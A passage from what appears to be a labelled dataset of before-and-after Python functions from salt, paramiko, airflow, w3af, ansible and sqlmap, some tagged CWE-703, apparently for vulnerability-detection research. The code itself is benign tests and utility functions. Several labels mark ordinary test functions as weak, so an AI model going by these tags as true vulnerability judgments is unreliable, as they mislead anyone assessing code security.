        cmd.extend([remote, refspec])
        module.run_command(cmd, check_rc=True, cwd=dest)

    if verify_commit:
        verify_commit_sign(git_path, module, dest, version)"
,UNKNOWN,UNKNOWN,tests/pytests/unit/modules/test_mac_brew_pkg.py,1,"def test_info_installed(HOMEBREW_BIN):
    """"""
    Tests info_installed method
    """"""
    mock_user = MagicMock(return_value=""foo"")
    mock_cmd = MagicMock(return_value="""")
    mock_cmd_all = MagicMock(
        return_value={
            ""pid"": 12345,
            ""retcode"": 0,
            ""stderr"": """",
            ""stdout"": textwrap.dedent(
                """"""\
                {
                  ""formulae"": [
                    {
                      ""name"": ""salt"",
                      ""full_name"": ""cdalvaro/tap/salt"",
                      ""tap"": ""cdalvaro/tap"",
                      ""aliases"": []
                    },
                    {
                      ""name"": ""vim"",
                      ""full_name"": ""vim"",
                      ""tap"": ""homebrew/core"",
                      ""aliases"": []
                    }
                  ],
                  ""casks"": [
                    {
                      ""token"": ""visual-studio-code"",
                      ""full_token"": ""visual-studio-code"",
                      ""tap"": null,
                      ""name"": [
                        ""MicrosoftVisualStudioCode"",
                        ""VSCode""
                      ]
                    }
                  ]
                }
             """"""
            ),
        }
    )
    _expected = {
        ""cdalvaro/tap/salt"": {
            ""name"": ""salt"",
            ""full_name"": ""cdalvaro/tap/salt"",
            ""tap"": ""cdalvaro/tap"",
            ""aliases"": [],
        },
        ""vim"": {
            ""name"": ""vim"",
            ""full_name"": ""vim"",
            ""tap"": ""homebrew/core"",
            ""aliases"": [],
        },
        ""visual-studio-code"": {
            ""token"": ""visual-studio-code"",
            ""full_token"": ""visual-studio-code"",
            ""tap"": None,
            ""name"": [""MicrosoftVisualStudioCode"", ""VSCode""],
        },
    }

    with patch(""salt.utils.path.which"", MagicMock(return_value=HOMEBREW_BIN)):
        with patch(""salt.modules.mac_brew_pkg.list_pkgs"", return_value={}), patch(
            ""salt.modules.mac_brew_pkg._list_pinned"", return_value=[""foo""]
        ), patch.dict(
            mac_brew.__salt__,
            {
                ""file.get_user"": mock_user,
                ""cmd.run_all"": mock_cmd_all,
                ""cmd.run"": mock_cmd,
            },
        ):
            assert (
                mac_brew.info_installed(
                    ""cdalvaro/tap/salt"", ""vim"", ""visual-studio-code""
                )
                == _expected
            )",CWE-703,saltstack/salt,41b46facdf2e35e5281203ab401de0585e31b56d,"def test_info_installed(HOMEBREW_BIN):
    """"""
    Tests info_installed method
    """"""
    mock_user = MagicMock(return_value=""foo"")
    mock_cmd = MagicMock(return_value="""")
    mock_cmd_all = MagicMock(
        return_value={
            ""pid"": 12345,
            ""retcode"": 0,
            ""stderr"": """",
            ""stdout"": textwrap.dedent(
                """"""\
                {
                  ""formulae"": [
                    {
                      ""name"": ""salt"",
                      ""full_name"": ""cdalvaro/tap/salt"",
                      ""tap"": ""cdalvaro/tap"",
                      ""aliases"": []
                    },
                    {
                      ""name"": ""vim"",
                      ""full_name"": ""vim"",
                      ""tap"": ""homebrew/core"",
                      ""aliases"": []
                    }
                  ],
                  ""casks"": [
                    {
                      ""token"": ""visual-studio-code"",
                      ""full_token"": ""visual-studio-code"",
                      ""tap"": null,
                      ""name"": [
                        ""MicrosoftVisualStudioCode"",
                        ""VSCode""
                      ]
                    }
                  ]
                }
             """"""
            ),
        }
    )
    _expected = {
        ""cdalvaro/tap/salt"": {
            ""name"": ""salt"",
            ""full_name"": ""cdalvaro/tap/salt"",
            ""tap"": ""cdalvaro/tap"",
            ""aliases"": [],
        },
        ""vim"": {
            ""name"": ""vim"",
            ""full_name"": ""vim"",
            ""tap"": ""homebrew/core"",
            ""aliases"": [],
        },
        ""visual-studio-code"": {
            ""token"": ""visual-studio-code"",
            ""full_token"": ""visual-studio-code"",
            ""tap"": None,
            ""name"": [""MicrosoftVisualStudioCode"", ""VSCode""],
        },
    }

    with patch(""salt.utils.path.which"", MagicMock(return_value=HOMEBREW_BIN)):
        with patch(""salt.modules.mac_brew_pkg.list_pkgs"", return_value={}), patch(
            ""salt.modules.mac_brew_pkg._list_pinned"", return_value=[""foo""]
        ), patch.dict(
            mac_brew.__salt__,
            {
                ""file.get_user"": mock_user,
                ""cmd.run_all"": mock_cmd_all,
                ""cmd.run"": mock_cmd,
            },
        ):
            assert (
                mac_brew.info_installed(""cdalvaro/tap/salt"", ""vim"", ""visual-studio-code"")
                == _expected
            )"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,tests/test_gssapi.py,0,"def _gssapi_sspi_test(self):
        """"""
        Test the used methods of python-gssapi or sspi, sspicon from pywin32.
        """"""
        try:
            import gssapi

            if (
                hasattr(gssapi, ""__title__"")
                and gssapi.__title__ == ""python-gssapi""
            ):
                _API = ""PYTHON-GSSAPI-OLD""
            else:
                _API = ""PYTHON-GSSAPI-NEW""
        except ImportError:
            import sspicon
            import sspi

            _API = ""SSPI""

        c_token = None
        gss_ctxt_status = False
        mic_msg = b""G'day Mate!""

        if _API == ""PYTHON-GSSAPI-OLD"":
            if self.server_mode:
                gss_flags = (
                    gssapi.C_PROT_READY_FLAG,
                    gssapi.C_INTEG_FLAG,
                    gssapi.C_MUTUAL_FLAG,
                    gssapi.C_DELEG_FLAG,
                )
            else:
                gss_flags = (
                    gssapi.C_PROT_READY_FLAG,
                    gssapi.C_INTEG_FLAG,
                    gssapi.C_DELEG_FLAG,
                )
            # Initialize a GSS-API context.
            ctx = gssapi.Context()
            ctx.flags = gss_flags
            krb5_oid = gssapi.OID.mech_from_string(self.krb5_mech)
            target_name = gssapi.Name(
                ""host@"" + self.targ_name, gssapi.C_NT_HOSTBASED_SERVICE
            )
            gss_ctxt = gssapi.InitContext(
                peer_name=target_name, mech_type=krb5_oid, req_flags=ctx.flags
            )
            if self.server_mode:
                c_token = gss_ctxt.step(c_token)
                gss_ctxt_status = gss_ctxt.established
                self.assertEquals(False, gss_ctxt_status)
                # Accept a GSS-API context.
                gss_srv_ctxt = gssapi.AcceptContext()
                s_token = gss_srv_ctxt.step(c_token)
                gss_ctxt_status = gss_srv_ctxt.established
                self.assertNotEquals(None, s_token)
                self.assertEquals(True, gss_ctxt_status)
                # Establish the client context
                c_token = gss_ctxt.step(s_token)
                self.assertEquals(None, c_token)
            else:
                while not gss_ctxt.established:
                    c_token = gss_ctxt.step(c_token)
                self.assertNotEquals(None, c_token)
            # Build MIC
            mic_token = gss_ctxt.get_mic(mic_msg)

            if self.server_mode:
                # Check MIC
                status = gss_srv_ctxt.verify_mic(mic_msg, mic_token)
                self.assertEquals(0, status)
        elif _API == ""PYTHON-GSSAPI-NEW"":
            if self.server_mode:
                gss_flags = (
                    gssapi.RequirementFlag.protection_ready,
                    gssapi.RequirementFlag.integrity,
                    gssapi.RequirementFlag.mutual_authentication,
                    gssapi.RequirementFlag.delegate_to_peer,
                )
            else:
                gss_flags = (
                    gssapi.RequirementFlag.protection_ready,
                    gssapi.RequirementFlag.integrity,
                    gssapi.RequirementFlag.delegate_to_peer,
                )
            # Initialize a GSS-API context.
            krb5_oid = gssapi.MechType.kerberos
            target_name = gssapi.Name(
                ""host@"" + self.targ_name,
                name_type=gssapi.NameType.hostbased_service,
            )
            gss_ctxt = gssapi.SecurityContext(
                name=target_name,
                flags=gss_flags,
                mech=krb5_oid,
                usage=""initiate"",
            )
            if self.server_mode:
                c_token = gss_ctxt.step(c_token)
                gss_ctxt_status = gss_ctxt.complete
                self.assertEquals(False, gss_ctxt_status)
                # Accept a GSS-API context.
                gss_srv_ctxt = gssapi.SecurityContext(usage=""accept"")
                s_token = gss_srv_ctxt.step(c_token)
                gss_ctxt_status = gss_srv_ctxt.complete
                self.assertNotEquals(None, s_token)
                self.assertEquals(True, gss_ctxt_status)
                # Establish the client context
                c_token = gss_ctxt.step(s_token)
                self.assertEquals(None, c_token)
            else:
                while not gss_ctxt.complete:
                    c_token = gss_ctxt.step(c_token)
                self.assertNotEquals(None, c_token)
            # Build MIC
            mic_token = gss_ctxt.get_signature(mic_msg)

            if self.server_mode:
                # Check MIC
                status = gss_srv_ctxt.verify_signature(mic_msg, mic_token)
                self.assertEquals(0, status)
        else:
            gss_flags = (
                sspicon.ISC_REQ_INTEGRITY
                | sspicon.ISC_REQ_MUTUAL_AUTH
                | sspicon.ISC_REQ_DELEGATE
            )
            # Initialize a GSS-API context.
            target_name = ""host/"" + socket.getfqdn(self.targ_name)
            gss_ctxt = sspi.ClientAuth(
                ""Kerberos"", scflags=gss_flags, targetspn=target_name
            )
            if self.server_mode:
                error, token = gss_ctxt.authorize(c_token)
                c_token = token[0].Buffer
                self.assertEquals(0, error)
                # Accept a GSS-API context.
                gss_srv_ctxt = sspi.ServerAuth(""Kerberos"", spn=target_name)
                error, token = gss_srv_ctxt.authorize(c_token)
                s_token = token[0].Buffer
                # Establish the context.
                error, token = gss_ctxt.authorize(s_token)
                c_token = token[0].Buffer
                self.assertEquals(None, c_token)
                self.assertEquals(0, error)
                # Build MIC
                mic_token = gss_ctxt.sign(mic_msg)
                # Check MIC
                gss_srv_ctxt.verify(mic_msg, mic_token)
            else:
                error, token = gss_ctxt.authorize(c_token)
                c_token = token[0].Buffer
                self.assertNotEquals(0, error)",,paramiko/paramiko,592b712174077f7f39ad81a47f6c02d779db4c98,"def _gssapi_sspi_test(self):
        """"""
        Test the used methods of python-gssapi or sspi, sspicon from pywin32.
        """"""
        try:
            import gssapi

            if (
                hasattr(gssapi, ""__title__"")
                and gssapi.__title__ == ""python-gssapi""
            ):
                _API = ""PYTHON-GSSAPI-OLD""
            else:
                _API = ""PYTHON-GSSAPI-NEW""
        except ImportError:
            import sspicon
            import sspi

            _API = ""SSPI""

        c_token = None
        gss_ctxt_status = False
        mic_msg = b""G'day Mate!""

        if _API == ""PYTHON-GSSAPI-OLD"":
            if self.server_mode:
                gss_flags = (
                    gssapi.C_PROT_READY_FLAG,
                    gssapi.C_INTEG_FLAG,
                    gssapi.C_MUTUAL_FLAG,
                    gssapi.C_DELEG_FLAG,
                )
            else:
                gss_flags = (
                    gssapi.C_PROT_READY_FLAG,
                    gssapi.C_INTEG_FLAG,
                    gssapi.C_DELEG_FLAG,
                )
            # Initialize a GSS-API context.
            ctx = gssapi.Context()
            ctx.flags = gss_flags
            krb5_oid = gssapi.OID.mech_from_string(self.krb5_mech)
            target_name = gssapi.Name(
                ""host@"" + self.targ_name, gssapi.C_NT_HOSTBASED_SERVICE
            )
            gss_ctxt = gssapi.InitContext(
                peer_name=target_name, mech_type=krb5_oid, req_flags=ctx.flags
            )
            if self.server_mode:
                c_token = gss_ctxt.step(c_token)
                gss_ctxt_status = gss_ctxt.established
                self.assertEquals(False, gss_ctxt_status)
                # Accept a GSS-API context.
                gss_srv_ctxt = gssapi.AcceptContext()
                s_token = gss_srv_ctxt.step(c_token)
                gss_ctxt_status = gss_srv_ctxt.established
                self.assertNotEquals(None, s_token)
                self.assertEquals(True, gss_ctxt_status)
                # Establish the client context
                c_token = gss_ctxt.step(s_token)
                self.assertEquals(None, c_token)
            else:
                while not gss_ctxt.established:
                    c_token = gss_ctxt.step(c_token)
                self.assertNotEquals(None, c_token)
            # Build MIC
            mic_token = gss_ctxt.get_mic(mic_msg)

            if self.server_mode:
                # Check MIC
                status = gss_srv_ctxt.verify_mic(mic_msg, mic_token)
                self.assertEquals(0, status)
        elif _API == ""PYTHON-GSSAPI-NEW"":
            if self.server_mode:
                gss_flags = (
                    gssapi.RequirementFlag.protection_ready,
                    gssapi.RequirementFlag.integrity,
                    gssapi.RequirementFlag.mutual_authentication,
                    gssapi.RequirementFlag.delegate_to_peer,
                )
            else:
                gss_flags = (
                    gssapi.RequirementFlag.protection_ready,
                    gssapi.RequirementFlag.integrity,
                    gssapi.RequirementFlag.delegate_to_peer,
                )
            # Initialize a GSS-API context.
            krb5_oid = gssapi.MechType.kerberos
            target_name = gssapi.Name(
                ""host@"" + self.targ_name,
                name_type=gssapi.NameType.hostbased_service,
            )
            gss_ctxt = gssapi.SecurityContext(
                name=target_name,
                flags=gss_flags,
                mech=krb5_oid,
                usage=""initiate"",
            )
            if self.server_mode:
                c_token = gss_ctxt.step(c_token)
                gss_ctxt_status = gss_ctxt.complete
                self.assertEquals(False, gss_ctxt_status)
                # Accept a GSS-API context.
                gss_srv_ctxt = gssapi.SecurityContext(usage=""accept"")
                s_token = gss_srv_ctxt.step(c_token)
                gss_ctxt_status = gss_srv_ctxt.complete
                self.assertNotEquals(None, s_token)
                self.assertEquals(True, gss_ctxt_status)
                # Establish the client context
                c_token = gss_ctxt.step(s_token)
                self.assertEquals(None, c_token)
            else:
                while not gss_ctxt.complete:
                    c_token = gss_ctxt.step(c_token)
                self.assertNotEquals(None, c_token)
            # Build MIC
            mic_token = gss_ctxt.get_signature(mic_msg)

            if self.server_mode:
                # Check MIC
                status = gss_srv_ctxt.verify_signature(mic_msg, mic_token)
                self.assertEquals(0, status)
        else:
            gss_flags = (
                sspicon.ISC_REQ_INTEGRITY
                | sspicon.ISC_REQ_MUTUAL_AUTH
                | sspicon.ISC_REQ_DELEGATE
            )
            # Initialize a GSS-API context.
            target_name = ""host/"" + socket.getfqdn(self.targ_name)
            gss_ctxt = sspi.ClientAuth(
                ""Kerberos"", scflags=gss_flags, targetspn=target_name
            )
            if self.server_mode:
                error, token = gss_ctxt.authorize(c_token)
                c_token = token[0].Buffer
                self.assertEquals(0, error)
                # Accept a GSS-API context.
                gss_srv_ctxt = sspi.ServerAuth(""Kerberos"", spn=target_name)
                error, token = gss_srv_ctxt.authorize(c_token)
                s_token = token[0].Buffer
                # Establish the context.
                error, token = gss_ctxt.authorize(s_token)
                c_token = token[0].Buffer
                self.assertEquals(None, c_token)
                self.assertEquals(0, error)
                # Build MIC
                mic_token = gss_ctxt.sign(mic_msg)
                # Check MIC
                gss_srv_ctxt.verify(mic_msg, mic_token)
            else:
                error, token = gss_ctxt.authorize(c_token)
                c_token = token[0].Buffer
                self.assertNotEquals(0, error)"
,UNKNOWN,UNKNOWN,helm_tests/airflow_aux/test_pod_template_file.py,1,"def test_safe_to_evict_annotation(self, safe_to_evict: bool):
        docs = render_chart(
            values={""workers"": {""safeToEvict"": safe_to_evict}},
            show_only=[""templates/pod-template-file.yaml""],
            chart_dir=self.temp_chart_dir,
        )
        annotations = jmespath.search(""metadata.annotations"", docs[0])
        assert annotations == {
            ""cluster-autoscaler.kubernetes.io/safe-to-evict"": ""true"" if safe_to_evict else ""false""
        }",CWE-703,apache/airflow,5323471166ec9b2dfaf7ec0940a5a55b50d49e73,"def test_safe_to_evict_annotation(self, safe_to_evict: bool):
        docs = render_chart(
            values={""workers"": {""safeToEvict"": safe_to_evict}},
            show_only=[""templates/pod-template-file.yaml""],
            chart_dir=self.temp_chart_dir,
        )
        annotations = jmespath.search(""metadata.annotations"", docs[0])
        assert annotations == {
            ""cluster-autoscaler.kubernetes.io/safe-to-evict"": ""true"" if safe_to_evict else ""false""
        }"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/ssh_exception.py,0,"def __init__(self, explanation, types):
        SSHException.__init__(self, explanation)
        self.allowed_types = types",,paramiko/paramiko,24045332c5ec3929b30490d5993b29b3eaf593f7,"def __init__(self, explanation, types):
        SSHException.__init__(self, explanation)
        self.allowed_types = types"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/context/context/main.py,0,"def __init__(self, payload):
        HTMLParser.__init__(self)
        self.payload = payload
        self.contexts = []
        self.current_tag = None
        self.noscript_parent = False",,andresriancho/w3af,51f5033ca1218169a7a9f3852f16a7a477fee937,"def __init__(self, payload):
        HTMLParser.__init__(self)
        self.payload = payload
        self.contexts = []
        self.current_tag = None"
,UNKNOWN,UNKNOWN,airflow-core/tests/unit/cli/commands/test_plugins_command.py,1,"def test_should_display_one_plugin(self):
        with redirect_stdout(io.StringIO()) as temp_stdout:
            plugins_command.dump_plugins(self.parser.parse_args([""plugins"", ""--output=json""]))
            stdout = temp_stdout.getvalue()
        print(stdout)
        info = json.loads(stdout)
        assert info == [
            {
                ""name"": ""test_plugin"",
                ""admin_views"": [],
                ""macros"": [""unit.plugins.test_plugin.plugin_macro""],
                ""menu_links"": [],
                ""flask_blueprints"": [
                    ""<flask.blueprints.Blueprint: name='test_plugin' import_name='unit.plugins.test_plugin'>""
                ],
                ""fastapi_apps"": [
                    {
                        ""app"": ""fastapi.applications.FastAPI"",
                        ""url_prefix"": ""/some_prefix"",
                        ""name"": ""Name of the App"",
                    }
                ],
                ""fastapi_root_middlewares"": [
                    {
                        ""middleware"": ""unit.plugins.test_plugin.DummyMiddleware"",
                        ""name"": ""Name of the Middleware"",
                    }
                ],
                ""external_views"": [
                    {
                        ""destination"": ""nav"",
                        ""icon"": ""https://raw.githubusercontent.com/lucide-icons/lucide/refs/heads/main/icons/plug.svg"",
                        ""name"": ""Test IFrame Airflow Docs"",
                        ""href"": ""https://airflow.apache.org/"",
                        ""url_route"": ""test_iframe_plugin"",
                        ""category"": ""browse"",
                    },
                ],
                ""appbuilder_views"": [
                    {
                        ""name"": ""Test View"",
                        ""category"": ""Test Plugin"",
                        ""label"": ""Test Label"",
                        ""view"": ""unit.plugins.test_plugin.PluginTestAppBuilderBaseView"",
                    }
                ],
                ""global_operator_extra_links"": [
                    ""<tests_common.test_utils.mock_operators.AirflowLink object>"",
                    ""<tests_common.test_utils.mock_operators.GithubLink object>"",
                ],
                ""timetables"": [""unit.plugins.test_plugin.CustomCronDataIntervalTimetable""],
                ""operator_extra_links"": [
                    ""<tests_common.test_utils.mock_operators.GoogleLink object>"",
                    ""<tests_common.test_utils.mock_operators.AirflowLink2 object>"",
                    ""<tests_common.test_utils.mock_operators.CustomOpLink object>"",
                    ""<tests_common.test_utils.mock_operators.CustomBaseIndexOpLink object>"",
                ],
                ""listeners"": [
                    ""unit.listeners.empty_listener"",
                    ""unit.listeners.class_listener.ClassBasedListener"",
                ],
                ""source"": None,
                ""appbuilder_menu_items"": [
                    {""name"": ""Google"", ""href"": ""https://www.google.com"", ""category"": ""Search""},
                    {
                        ""name"": ""apache"",
                        ""href"": ""https://www.apache.org/"",
                        ""label"": ""The Apache Software Foundation"",
                    },
                ],
                ""priority_weight_strategies"": [""unit.plugins.test_plugin.CustomPriorityWeightStrategy""],
            }
        ]
        get_listener_manager().clear()",CWE-703,apache/airflow,f22f75626536f9b8ba1d7422fdf42507b9102f1c,"def test_should_display_one_plugin(self):
        with redirect_stdout(io.StringIO()) as temp_stdout:
            plugins_command.dump_plugins(self.parser.parse_args([""plugins"", ""--output=json""]))
            stdout = temp_stdout.getvalue()
        print(stdout)
        info = json.loads(stdout)
        assert info == [
            {
                ""name"": ""test_plugin"",
                ""admin_views"": [],
                ""macros"": [""unit.plugins.test_plugin.plugin_macro""],
                ""menu_links"": [],
                ""flask_blueprints"": [
                    ""<flask.blueprints.Blueprint: name='test_plugin' import_name='unit.plugins.test_plugin'>""
                ],
                ""fastapi_apps"": [
                    {
                        ""app"": ""fastapi.applications.FastAPI"",
                        ""url_prefix"": ""/some_prefix"",
                        ""name"": ""Name of the App"",
                    }
                ],
                ""fastapi_root_middlewares"": [
                    {
                        ""middleware"": ""unit.plugins.test_plugin.DummyMiddleware"",
                        ""name"": ""Name of the Middleware"",
                    }
                ],
                ""iframe_views"": [
                    {
                        ""destination"": ""nav"",
                        ""icon"": ""https://example.com/icon.svg"",
                        ""name"": ""Test IFrame Plugin"",
                        ""src"": ""https://www.google.com"",
                        ""url_route"": ""/test_iframe_plugin"",
                    },
                ],
                ""appbuilder_views"": [
                    {
                        ""name"": ""Test View"",
                        ""category"": ""Test Plugin"",
                        ""label"": ""Test Label"",
                        ""view"": ""unit.plugins.test_plugin.PluginTestAppBuilderBaseView"",
                    }
                ],
                ""global_operator_extra_links"": [
                    ""<tests_common.test_utils.mock_operators.AirflowLink object>"",
                    ""<tests_common.test_utils.mock_operators.GithubLink object>"",
                ],
                ""timetables"": [""unit.plugins.test_plugin.CustomCronDataIntervalTimetable""],
                ""operator_extra_links"": [
                    ""<tests_common.test_utils.mock_operators.GoogleLink object>"",
                    ""<tests_common.test_utils.mock_operators.AirflowLink2 object>"",
                    ""<tests_common.test_utils.mock_operators.CustomOpLink object>"",
                    ""<tests_common.test_utils.mock_operators.CustomBaseIndexOpLink object>"",
                ],
                ""listeners"": [
                    ""unit.listeners.empty_listener"",
                    ""unit.listeners.class_listener.ClassBasedListener"",
                ],
                ""source"": None,
                ""appbuilder_menu_items"": [
                    {""name"": ""Google"", ""href"": ""https://www.google.com"", ""category"": ""Search""},
                    {
                        ""name"": ""apache"",
                        ""href"": ""https://www.apache.org/"",
                        ""label"": ""The Apache Software Foundation"",
                    },
                ],
                ""priority_weight_strategies"": [""unit.plugins.test_plugin.CustomPriorityWeightStrategy""],
            }
        ]
        get_listener_manager().clear()"
,UNKNOWN,UNKNOWN,test/units/modules/network/f5/test_bigip_iapp_template.py,1,"def test_module_parameters(self):
        iapp = load_fixture('create_iapp_template.iapp')
        args = dict(
            content=iapp
        )
        p = Parameters(params=args)
        assert p.name == 'foo.iapp'",CWE-703,ansible/ansible,49f34fec13c31a20681129537ea39109554378a7,"def test_module_parameters(self):
        iapp = load_fixture('create_iapp_template.iapp')
        args = dict(
            content=iapp
        )
        p = Parameters(params=args)
        assert p.name == 'foo.iapp'"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,tests/test_sftp_big.py,0,"def test_3_big_file_pipelined(self):
        """"""
        write a 1MB file, with no linefeeds, using pipelining.
        """"""
        sftp = get_sftp()
        kblob = bytes().join([struct.pack('>H', n) for n in range(512)])
        start = time.time()
        try:
            f = sftp.open('%s/hongry.txt' % FOLDER, 'w')
            f.set_pipelined(True)
            for n in range(1024):
                f.write(kblob)
                if n % 128 == 0:
                    sys.stderr.write('.')
            f.close()
            sys.stderr.write(' ')

            self.assertEqual(sftp.stat('%s/hongry.txt' % FOLDER).st_size, 1024 * 1024)
            end = time.time()
            sys.stderr.write('%ds ' % round(end - start))
            
            start = time.time()
            f = sftp.open('%s/hongry.txt' % FOLDER, 'r')
            f.prefetch()

            # read on odd boundaries to make sure the bytes aren't getting scrambled
            n = 0
            k2blob = kblob + kblob
            chunk = 629
            size = 1024 * 1024
            while n < size:
                if n + chunk > size:
                    chunk = size - n
                data = f.read(chunk)
                offset = n % 1024
                self.assertEqual(data, k2blob[offset:offset + chunk])
                n += chunk
            f.close()

            end = time.time()
            sys.stderr.write('%ds ' % round(end - start))
        finally:
            sftp.remove('%s/hongry.txt' % FOLDER)",,paramiko/paramiko,d5ce2b43d602282fe2aa826481759c48d18c9b38,"def test_3_big_file_pipelined(self):
        """"""
        write a 1MB file, with no linefeeds, using pipelining.
        """"""
        sftp = get_sftp()
        kblob = ''.join([struct.pack('>H', n) for n in range(512)])
        start = time.time()
        try:
            f = sftp.open('%s/hongry.txt' % FOLDER, 'w')
            f.set_pipelined(True)
            for n in range(1024):
                f.write(kblob)
                if n % 128 == 0:
                    sys.stderr.write('.')
            f.close()
            sys.stderr.write(' ')

            self.assertEqual(sftp.stat('%s/hongry.txt' % FOLDER).st_size, 1024 * 1024)
            end = time.time()
            sys.stderr.write('%ds ' % round(end - start))
            
            start = time.time()
            f = sftp.open('%s/hongry.txt' % FOLDER, 'r')
            f.prefetch()

            # read on odd boundaries to make sure the bytes aren't getting scrambled
            n = 0
            k2blob = kblob + kblob
            chunk = 629
            size = 1024 * 1024
            while n < size:
                if n + chunk > size:
                    chunk = size - n
                data = f.read(chunk)
                offset = n % 1024
                self.assertEqual(data, k2blob[offset:offset + chunk])
                n += chunk
            f.close()

            end = time.time()
            sys.stderr.write('%ds ' % round(end - start))
        finally:
            sftp.remove('%s/hongry.txt' % FOLDER)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,sqlmap.py,0,"def main():
    """"""
    Main function of sqlmap when running from command line.
    """"""

    try:
        dirtyPatches()
        checkEnvironment()
        setPaths(modulePath())
        banner()

        # Store original command line options for possible later restoration
        cmdLineOptions.update(cmdLineParser().__dict__)
        initOptions(cmdLineOptions)

        if conf.get(""api""):
            # heavy imports
            from lib.utils.api import StdDbOut
            from lib.utils.api import setRestAPILog

            # Overwrite system standard output and standard error to write
            # to an IPC database
            sys.stdout = StdDbOut(conf.taskid, messagetype=""stdout"")
            sys.stderr = StdDbOut(conf.taskid, messagetype=""stderr"")
            setRestAPILog()

        conf.showTime = True
        dataToStdout(""[!] legal disclaimer: %s\n\n"" % LEGAL_DISCLAIMER, forceOutput=True)
        dataToStdout(""[*] starting at %s\n\n"" % time.strftime(""%X""), forceOutput=True)

        init()

        if not conf.updateAll:
            # Postponed imports (faster start)
            if conf.smokeTest:
                from lib.core.testing import smokeTest
                smokeTest()
            elif conf.liveTest:
                from lib.core.testing import liveTest
                liveTest()
            else:
                from lib.controller.controller import start
                if conf.profile:
                    from lib.core.profiling import profile
                    globals()[""start""] = start
                    profile()
                else:
                    try:
                        start()
                    except thread.error as ex:
                        if ""can't start new thread"" in getSafeExString(ex):
                            errMsg = ""unable to start new threads. Please check OS (u)limits""
                            logger.critical(errMsg)
                            raise SystemExit
                        else:
                            raise

    except SqlmapUserQuitException:
        errMsg = ""user quit""
        try:
            logger.error(errMsg)
        except KeyboardInterrupt:
            pass

    except (SqlmapSilentQuitException, bdb.BdbQuit):
        pass

    except SqlmapShellQuitException:
        cmdLineOptions.sqlmapShell = False

    except SqlmapBaseException as ex:
        errMsg = getSafeExString(ex)
        try:
            logger.critical(errMsg)
        except KeyboardInterrupt:
            pass
        raise SystemExit

    except KeyboardInterrupt:
        print

        errMsg = ""user aborted""
        try:
            logger.critical(errMsg)
        except KeyboardInterrupt:
            pass

    except EOFError:
        print
        errMsg = ""exit""

        try:
            logger.error(errMsg)
        except KeyboardInterrupt:
            pass

    except SystemExit:
        pass

    except:
        print
        errMsg = unhandledExceptionMessage()
        excMsg = traceback.format_exc()
        valid = checkIntegrity()

        try:
            if valid is False:
                errMsg = ""code integrity check failed (turning off automatic issue creation). ""
                errMsg += ""You should retrieve the latest development version from official GitHub ""
                errMsg += ""repository at '%s'"" % GIT_PAGE
                logger.critical(errMsg)
                print
                dataToStdout(excMsg)
                raise SystemExit

            elif any(_ in excMsg for _ in (""tamper/"", ""waf/"")):
                logger.critical(errMsg)
                print
                dataToStdout(excMsg)
                raise SystemExit

            elif ""MemoryError"" in excMsg:
                errMsg = ""memory exhaustion detected""
                logger.error(errMsg)
                raise SystemExit

            elif any(_ in excMsg for _ in (""No space left"", ""Disk quota exceeded"")):
                errMsg = ""no space left on output device""
                logger.error(errMsg)
                raise SystemExit

            elif all(_ in excMsg for _ in (""No such file"", ""_'"", ""self.get_prog_name()"")):
                errMsg = ""corrupted installation detected ('%s'). "" % excMsg.strip().split('\n')[-1]
                errMsg += ""You should retrieve the latest development version from official GitHub ""
                errMsg += ""repository at '%s'"" % GIT_PAGE
                logger.error(errMsg)
                raise SystemExit

            elif ""Read-only file system"" in excMsg:
                errMsg = ""output device is mounted as read-only""
                logger.error(errMsg)
                raise SystemExit

            elif ""OperationalError: disk I/O error"" in excMsg:
                errMsg = ""I/O error on output device""
                logger.error(errMsg)
                raise SystemExit

            elif ""Violation of BIDI"" in excMsg:
                errMsg = ""invalid URL (violation of Bidi IDNA rule - RFC 5893)""
                logger.error(errMsg)
                raise SystemExit

            elif ""_mkstemp_inner"" in excMsg:
                errMsg = ""there has been a problem while accessing temporary files""
                logger.error(errMsg)
                raise SystemExit

            elif all(_ in excMsg for _ in (""twophase"", ""sqlalchemy"")):
                errMsg = ""please update the 'sqlalchemy' package (>= 1.1.11) ""
                errMsg += ""(Reference: https://qiita.com/tkprof/items/7d7b2d00df9c5f16fffe)""
                logger.error(errMsg)
                raise SystemExit

            elif all(_ in excMsg for _ in (""scramble_caching_sha2"", ""TypeError"")):
                errMsg = ""please downgrade the 'PyMySQL' package (=< 0.8.1) ""
                errMsg += ""(Reference: https://github.com/PyMySQL/PyMySQL/issues/700)""
                logger.error(errMsg)
                raise SystemExit

            elif ""must be pinned buffer, not bytearray"" in excMsg:
                errMsg = ""error occurred at Python interpreter which ""
                errMsg += ""is fixed in 2.7.x. Please update accordingly ""
                errMsg += ""(Reference: https://bugs.python.org/issue8104)""
                logger.error(errMsg)
                raise SystemExit

            elif ""can't start new thread"" in excMsg:
                errMsg = ""there has been a problem while creating new thread instance. ""
                errMsg += ""Please make sure that you are not running too many processes""
                if not IS_WIN:
                    errMsg += "" (or increase the 'ulimit -u' value)""
                logger.error(errMsg)
                raise SystemExit

            elif ""'DictObject' object has no attribute '"" in excMsg and all(_ in errMsg for _ in (""(fingerprinted)"", ""(identified)"")):
                errMsg = ""there has been a problem in enumeration. ""
                errMsg += ""Because of a considerable chance of false-positive case ""
                errMsg += ""you are advised to rerun with switch '--flush-session'""
                logger.error(errMsg)
                raise SystemExit

            elif all(_ in excMsg for _ in (""pymysql"", ""configparser"")):
                errMsg = ""wrong initialization of pymsql detected (using Python3 dependencies)""
                logger.error(errMsg)
                raise SystemExit

            elif ""bad marshal data (unknown type code)"" in excMsg:
                match = re.search(r""\s*(.+)\s+ValueError"", excMsg)
                errMsg = ""one of your .pyc files are corrupted%s"" % ("" ('%s')"" % match.group(1) if match else """")
                errMsg += "". Please delete .pyc files on your system to fix the problem""
                logger.error(errMsg)
                raise SystemExit

            elif ""url = url.strip()"" in excMsg:
                dataToStdout(excMsg)
                print
                errMsg = ""please contact 'miroslav@sqlmap.org' with details for this issue ""
                errMsg += ""as he is trying to reproduce it for long time""
                logger.error(errMsg)
                raise SystemExit

            elif kb.get(""dumpKeyboardInterrupt""):
                raise SystemExit

            elif any(_ in excMsg for _ in (""Broken pipe"",)):
                raise SystemExit

            for match in re.finditer(r'File ""(.+?)"", line', excMsg):
                file_ = match.group(1)
